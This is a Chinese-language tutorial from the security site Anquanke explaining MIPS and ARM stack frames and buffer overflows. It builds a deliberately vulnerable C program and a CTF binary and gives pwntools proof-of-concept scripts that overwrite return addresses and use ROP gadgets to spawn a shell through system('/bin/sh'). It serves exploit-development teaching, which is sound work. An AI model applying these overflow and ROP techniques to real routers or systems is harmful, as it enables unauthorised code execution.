路由器溢出漏洞分析

阅读量184482

|

发布时间 : 2021-08-12 17:30:08

 

MIPS和ARM溢出漏洞

MIPS堆栈原理

栈是一种先进后出队列特性的数据结构。栈可以用来传递函数参数、存储返回值、保存寄存器,MIPS32架构的函数调用对栈 的分配和使用使用方式与x86架构的特性有相似之处,但同时也有很大区别。

1. MIPS

1.1 MIPS32架构堆栈

MIPS指令系统,采用的是精简指令集。

MIPS32与x86不同之处:

栈操作

两者都向低地址增长。MIPS32架构中没有EBP(栈底指针),进入一个函数,采用栈偏移的方式。所以栈的出栈和入栈都指定偏移量来实现。

参数传递

MIPS32架构前4个传入的参数通过$a0-$a3传递。如果函数参数超过4个,多余的参数会被放入调用参数空间(栈预留的一部分空间)。x86架构下所有参数都是通过堆栈传递。

返回地址

x86架构中,使用call指令调用函数,会先将当前执行位置压入堆栈。MIPS32的函数调用把函数的返回地址直接放入$RA寄存器中,而不是放入堆栈中。

1.2 函数调用的栈布局

叶子函数和非叶子函数

叶子函数

函数中不在调用其他函数

非叶子函数

函数中调用其他函数

函数调用过程

例子

#include <stdio.h>

int more_arg(int a,int b,int c,int d,int e)
{
    char dst[100] = {0};
    sprintf(dst,"%d%d%d%d\n",a,b,c,d,e);
}

int main(int argc,char *argv[])
{
    int a1 = 1;
    int a2 = 2;
    int a3 = 3;
    int a4 = 4;
    int a5 = 5;
    more_arg(a1,a2,a3,a4,a5);
}

编译

$ mipsel-linux-gnu-gcc -static mips_call.c -o mipsCall

IDA查看文件

主函数

v_a1-v_a4变量存放在$a0-$a3,v_a5存放在栈分配的空间上

more_arg函数

与主函数一样,调用sprintf函数时,前4个参数存入$a0-$a3寄存器中,其余的放入堆栈空间中

2. MIPS缓冲区溢出

缓冲区溢出就是大缓冲区数据向小缓冲区数据复制的过程中,没有检查小缓冲区的大小,导致小缓冲区无法接收大缓冲区数据而因而破坏程序运行,获取程序乃至系统的控制权。

例子

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void do_system(int code,char *cmd)
{
    char buf[255];
    system(cmd);
}

void main()
{
    char buf[256] = {0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;
    if(0 == stat("passwd",&fileData)){
        fileLen = fileData.st_size;
    }else{
        return;
    }
    if((fp = fopen("passwd","rb")) == NULL){
        printf("Cannot open file passwd!\n");
        exit(1);
    }
    ch = fgetc(fp);
    while(count <= fileLen){
        buf[count++] = ch;
        ch = fgetc(fp);
    }

    buf[--count] = '\x00';

    if(strcmp(buf,"adminpwd") != 0){
        do_system(count,"ls -l");
    }else{
        printf("you have an invalid password!\n");
    }
    fclose(fp);
}

由源码可以看到,读取文件数据时候并没有对数据做限制。buffer缓冲区大小只有256字节,文件数据内容过大导致最终溢出。

2.1 测试

$ mipsel-linux-gnu-gcc --static overflow.c -o overflow
$ python -c "print 'A' * 600" > passwd
$ qemu-mipsel-static overflow

程序崩溃

IDA调试

定位saved_ra地址

下断点

查看saved_ra发生异常之前数据

查看发生异常时saved_ra地址被脏数据覆盖

2.2 劫持执行流程

查看缓冲区大小及栈空间

buf 缓冲区大小为256字节

passwd文件600字节

buf空间所占大小为0x1A0

计算所要覆盖的数据大小 :0x1A0 – 0x4 = 0x19C(412)

2.3 确定偏移

使用工具

$ python patternLocOffset.py -s 0x6E41376E -l 600

2.4 确定攻击方式

漏洞程序有一个函数do_system_0函数

查找gadget

.text:00401FA0                 addiu   $a1, $sp, 0x58+var_40(24)  # a1->命令字符串
.text:00401FA4                 lw      $ra, 0x58+var_4($sp) ($sp(84)) # do_system函数地址
.text:00401FA8                 sltiu   $v0, 1
.text:00401FAC                 jr      $ra
.text:00401FB0                 addiu   $sp, 0x58

3. POC

from pwn import *

context.endian = "little"
context.arch = "mips"
gadget = 0x00401FA0
system_addr = 0x00400390
cmd = "sh"
cmd += "\x00" * (4 - (len(cmd) % 4))

padding = 'A' * 0x19C
padding += p32(gadget)
padding += 'A' * 24
padding += cmd
padding += "B" * (0x3C - len(cmd))
padding += p32(system_addr)
padding += "TTTT"

with open('passwd','w')as f:
    f.write(padding)

print 'ok!'

4. 实战分析

大家可以参考我的文章DIR-645路由器溢出漏洞分析。

ARM堆栈原理

栈是一种先进后出队列特性的数据结构。栈可以用来传递函数参数、存储返回值、保存寄存器,ARM架构的函数调用对栈 的分配和使用使用方式与x86架构的特性有相似之处,但同时也有很大区别。

1. ARM

1.1 ARM架构堆栈

ARM指令系统,采用的是精简指令集。

ARM与x86不同之处:

栈操作

两者都向低地址增长。ARM采用POP和PUSH指令操作堆栈的入栈和出栈。

参数传递

ARM架构前4个传入的参数通过$R0-$R3传递。如果函数参数超过4个,多余的参数会被放入调用参数空间(栈预留的一部分空间)。x86架构下所有参数都是通过堆栈传递

返回地址

x86架构中,使用call指令调用函数,会先将当前执行位置压入堆栈。ARM架构中,使用B跳转,跳转到另一个指令PC上,PC 总是指向要执行的下一条指令。

1.2 函数调用的栈布局

同上例子

打开IDA查看

1.3 ARM工作状态(ARM、Thumb)

CPSR程序状态寄存器 — 查看ARM工作状态

N Z C V Q DNM(RAZ) I F T M4 M3 M2 M1 M0

N、Z、C、V 条件码标志

N: 在结果是有符号的二进制补码的情况下,如果结果为负数,则N=1;如果结果为非负数,则N=0

Z: 如果结果为0,则Z=1;如果结果为非零,则Z=0

C: 设置分一下几种情况

加法指令,如果产生进位,C=1否则C=0

减法指令,如果产生借位,C=0;否则C=1

对于有移位操作的非法指令,C为移位操作中最后移除位的值

T: 工作状态 T=1 Thumb T=0 ARM

2. ARM缓冲区溢出

使用CTF的一道题目

2.1 测试

$ qemu-arm-static ./arm_pwn3

考虑对输入内容长度没有校验

随机生成500个字符串,程序发生段错误

2.2 劫持执行流程并确定偏移

动态调试

$ qemu-arm-static -g 1234 ./arm_pwn3

捕获错误

计算偏移

$ cyclic 500
$ cyclic -l 0x6261616a
136

查看当前程序状态寄存器

这里涉及到ARM状态(LSB=0)和Thumb状态(LSB=1)的切换,栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。此时在gdb中执行p/t $cpsr以二进制格式显示CPSR寄存器。在 Thumb(v1) 状态下存储当前指令加 4(两条 Thumb 指令)的地址,需要在报错的地址加1。

当前T=1即位Thumb状态

$ cyclic -l 0x6261616b
140

2.3 确定攻击方式

查看程序开启哪些防护

NX:栈上不可执行shellcode

查找程序可用gadget

可以看到程序一开始会读取banner.txt文件

回溯发现该函数就是system函数

确定system函数位置0x1480C

查看有啥现有字符串可以用作system函数参数

/bin/sh 字符串地址 0x49018

查找合适的ROPgadget

$ ROPgadget --binary arm_pwn3 --only "pop | ret"

pop {r0,r4,pc} ;将堆栈中的数据弹出到r0,r4,pc寄存器中
;pc寄存器指向要执行的下一条指令

思路:

140偏移 + gadget地址 + /bin/sh参数 + 0占位 + system函数地址

3. POC

from pwn import *

p = process(['qemu-arm-static','-g','1234','./arm_pwn3'])

system_addr = 0x1480C
bin_sh_addr = 0x49018
pop_r0_r4 = 0x1fb5c
payload = 'A' * 140 + p32(pop_r0_r4) + p32(bin_sh_addr) + p32(0) + p32(system_addr + 1)
p.sendlineafter("buffer: ",payload)
pause()
p.interactive()

测试发生报错

查看当前CPSP发现T=1,system函数地址加1,测试如下

4. 实战分析

后续会发布一篇某款ARM架构的路由器栈溢出漏洞分析文章。

 

参考

https://www.anquanke.com/post/id/204326

https://blog.csdn.net/qq_43116977/article/details/105341940

本文由Crazy_Box原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/247505

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
Crazy_Box
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66